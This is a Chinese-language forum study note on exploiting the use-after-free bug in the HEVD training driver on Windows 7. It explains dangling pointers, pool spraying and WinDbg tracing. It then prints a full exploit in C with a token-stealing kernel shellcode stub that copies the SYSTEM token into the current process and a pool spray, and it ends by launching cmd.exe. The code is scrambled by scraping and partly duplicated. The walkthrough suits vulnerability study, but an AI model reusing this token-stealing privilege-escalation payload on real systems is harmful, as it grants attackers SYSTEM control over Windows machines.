-
-
[原创]初探内核漏洞:HEVD学习笔记——UAF
-
发表于: 2022-7-18 20:00 8642
-
字面上看,Use After Free,一块内存释放之后又被使用导致的漏洞。
我们将释放后未设置成NULL的指针称为悬空指针(dangling pointer),该处的内存没有进行回收,导致下次申请内存时再次使用该处内存,使得悬空指针可以访问修改过的内存。
Win 10 64位 主机 + win 7 32位虚拟机
调试器:Windbg
工具:VirtualKD-3.0、IDA
目标驱动:HEVD
由于FreeUaFObjectNonPagedPool函数将全局指针g_UseAfterFreeObjectNonPagedPool释放之后并没有将其设置为NULL:
导致UseUaFObjectNonPagedPool函数执行时依然可以调用g_UseAfterFreeObjectNonPagedPool全局指针:
若我们控制该全局指针之后再调用它,就能利用该漏洞。
所以,我们可以申请大量与g_UseAfterFreeObjectNonPagedPool相同大小的空间,并填充我们构造的数据。当再次为g_UseAfterFreeObjectNonPagedPool申请空间的时候很有可能落在我们申请的空间中,此时g_UseAfterFreeObjectNonPagedPool的内容是我们的数据,调用g_UseAfterFreeObjectNonPagedPool时就会执行我们的代码。
我们关注下面几个函数:AllocateUaFObjectNonPagedPool
函数给g_UseAfterFreeObjectNonPagedPool全局变量申请0x58大小的池空间(我们知道,其实还有8字节的池头部,所以大小是0x60);UseUaFObjectNonPagedPool
函数执行全局变量指向的函数;FreeUaFObjectNonPagedPool
函数释放全局指针;AllocateFakeObjectNonPagedPool
函数也申请0x58的池空间,并将我们构造的数据写入该池空间。
堆喷的原理可以这样简单理解:假设我们有一个大小n的内核pool chunk A,然后释放该chunk。当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。
利用代码如下:
接下来在调试中具象理解我们到底做了什么。这里先总体概括一下:[Allocate -> Free -> Allocate]。
Windbg在四个函数处下断点:
执行客户端程序,在AllocateUaFObjectNonPagedPool断下,继续运行,此时系统完成了对全局变量g_UseAfterFreeObjectNonPagedPool的分配,我们来看一下它的值:
此时它的前4字节959ee418处是原有的函数:
在看一下它所在的池块,大小为0x58+8=0x60,状态为已分配(Allocated):
此时断在FreeUaFObjectNonPagedPool函数,继续运行,此时池块已释放(Free):
此时断在AllocateFakeObjectNonPagedPool函数,取消此处断点,继续运行,进行堆喷射,断下来之后查看池块情况:
可以看到g_UseAfterFreeObjectNonPagedPool处内存变为Allocate,说明我们的堆喷申请到了它所在的空间。我们查看现在全局变量的内容,前4字节已经变成我们的shellcode的地址:
接下来只要调用全局变量即可执行我们的shellcode。
此时断在UseUaFObjectNonPagedPool函数,继续运行,可以看到提权成功:
HEVD UAF漏洞分析
Windows 内核系列一: UAF基础
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_ALLOCATE_UAF_OBJECT 0x222013
#define HEVD_USE_UAF_OBJECT 0x222017
#define HEVD_FREE_UAF_OBJECT 0x22201B
#define HEVD_ALLOCATE_FAKE_OBJECT 0x22201F
static VOID shellcode_TokenStealingPayloadWin7() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}
VOID EXP_UAF() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
DWORD dwRet
=
0
;
/
/
调用 AllocateUaFObjectNonPagedPool函数申请内存
DeviceIoControl(hDevice, HEVD_ALLOCATE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
/
/
调用 FreeUaFObjectNonPagedPool函数释放对象
DeviceIoControl(hDevice, HEVD_FREE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
/
/
构造利用数据
char exp_UAF[
0x60
];
memset(exp_UAF,
0x41
,
0x60
);
/
/
前四字节为shellcode地址
PVOID EopPayload
=
&shellcode_TokenStealingPayloadWin7;
memcpy(&exp_UAF, &EopPayload,
0x4
);
/
/
堆喷
for
(
int
i
=
0
; i <
5000
; i
+
+
)
{
DeviceIoControl(hDevice, HEVD_ALLOCATE_FAKE_OBJECT, exp_UAF,
0x60
, NULL,
0
, &dwRet, NULL);
}
/
/
调用 UseUaFObjectNonPagedPool函数使用对象
DeviceIoControl(hDevice, HEVD_USE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
int
main() {
EXP_UAF();
return
0
;
}
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_ALLOCATE_UAF_OBJECT 0x222013
#define HEVD_USE_UAF_OBJECT 0x222017
#define HEVD_FREE_UAF_OBJECT 0x22201B
#define HEVD_ALLOCATE_FAKE_OBJECT 0x22201F
static VOID shellcode_TokenStealingPayloadWin7() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}